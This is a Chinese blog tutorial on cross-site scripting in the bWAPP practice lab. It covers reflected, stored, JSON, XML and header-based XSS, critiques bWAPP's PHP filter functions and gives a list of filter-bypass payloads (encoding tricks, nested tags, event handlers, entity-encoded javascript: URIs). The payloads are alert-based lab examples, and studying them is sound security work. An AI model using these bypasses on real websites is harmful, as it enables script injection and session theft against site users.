• 跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击


    背景



    这个系列有很多题,但是其实考察的相近,类似的就不在多说,我们来看吧。主要分几个点来讲:

    • 反射型
    • 存储型
    • JSON
    • XM
    • 头部字段相关

    分类介绍



    反射型


    在请求中构造了XSS的Payload,一般又是受害者点击导致受害者的客户端被攻击。例如:http://172.16.204.213/bWAPP/xss_get.php?firstname=<script>alert(document.cookie)</script>&lastname=2&form=submit

    存储型


    一般在博客留言板、评论、个人信息维护等地方容易存在,就是用户构造XSS的Payload保存在数据库中,一旦用户访问该页面,则中招。

    JSON型


    没有什么太大的不同,注意构造一下Payload,闭合标签即可,Payload:"</script><script>alert(1)</script><script>

    XML型


    在XML解析payload需要注意<>两个字符需要使用HTML实体编码。
    例如,这样

    &lt;img src=1 onerror="alert(document.cookie)"&gt;
    

    头部字段相关


    其实就是值HTTP的很多头部字段都可以XSS,直接构造XSS的Payload的例如Cookie啊,自定义头部字段吧啊,Referer等等。观察一下头部字段那些数据会输出到前端页面上,或者对referer或者location等字段进行控制,跳转到一个有XSS的页面。

    XSS防御函数、过滤、绕过



    防御函数


    //单纯过滤<>,对编码都没有检测,所以做一个url编码就绕过了。
    function xss_check_1($data)
    {
    
        // Converts only "<" and ">" to HTLM entities
        $input = str_replace("<", "&lt;", $data);
        $input = str_replace(">", "&gt;", $input);
    
        // Failure is an option
        // Bypasses double encoding attacks
        // <script>alert(0)</script>
        // %3Cscript%3Ealert%280%29%3C%2Fscript%3E
        // %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
        $input = urldecode($input);
    
        return $input;
    
    }
    //字符转成HTML实体,防御还可以,但是注意该函数的第二个参数选项ENT_QUOTES,编码单双引号,也不是不能绕过。
    function xss_check_2($data)
    {
    
        // htmlentities - converts all applicable characters to HTML entities
    
        return htmlentities($data, ENT_QUOTES);
    
    }
    //把&、<、>、"、'五个符号转成HTML实体
    function xss_check_3($data, $encoding = "UTF-8")
    {
    
        // htmlspecialchars - converts special characters to HTML entities
        // '&' (ampersand) becomes '&amp;'
        // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
        // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
        // '<' (less than) becomes '&lt;'
        // '>' (greater than) becomes '&gt;'
    
        return htmlspecialchars($data, ENT_QUOTES, $encoding);
    
    }
    //中级难度的防御,addslashes,转义单双引号和反斜杠,但是不使用单双引号的,防不住的。
    function xss_check_4($data)
    {
    
        // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
        // These characters are single quote ('), double quote ("), backslash () and NUL (the NULL byte).
        // Do NOT use this for XSS or HTML validations!!!
    
        return addslashes($data);
    
    }
    

    绕过


    //一般payload
    <IMG onmouseover=”alert(‘xxs’)”>
    
    //绕过过滤单双引号的
    <script>alert(document.cookie)</script>
    <img src=1 onerror=alert(1)>
    <img src=javascript:alert(1)>//伪协议
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    
    //绕过关键字检查,大小写变化和无意义(注释、空字符、空格、回车、tab)截断
    <ScrIpt>Aler/**/t(1)</ScRipt>
    <img src= "javascript: alert(/xss/); width=100>
    <scri%00pt>alert(1);</scri%00pt>
    <a href="javascript:alert('test')">link</a>//规避关键字
    
    //长度限制
    <b oncut=alert()>
    <q/oncut=alert(1)> 
    
    //绕过尖括号检查,编码、多重编码
    %3cscript%3ealert(1)%3c%2fscript%3e
    
    //标签检查,一重去除标签
    <scr<script>ipt>alert("XSS")</scr<script>ipt>
    
    /*闭合标签
    >
    '> 或者 ">
    '  或者  "
    标签闭合
    ;
    */
    
    //终极过滤
    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
    

    可以进行xss的标签

    <script>
    <img>
    <div>
    <a>
    <b>
    <iframe>
    <video>
    <audio>
    <svg>
    ...
    
  • 相关阅读:
    java 将动作和名字绑定
    java 切换不同的显示风格
    java 背景颜色更改
    java 图像显示
    java 字符串
    java 2D 绘图
    java jFrame
    java bitset and C++ bitset
    踏得网
    纯CSS画的基本图形(矩形、圆形、三角形、多边形、爱心、八卦等)
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/10331457.html
Copyright © 2020-2023  润新知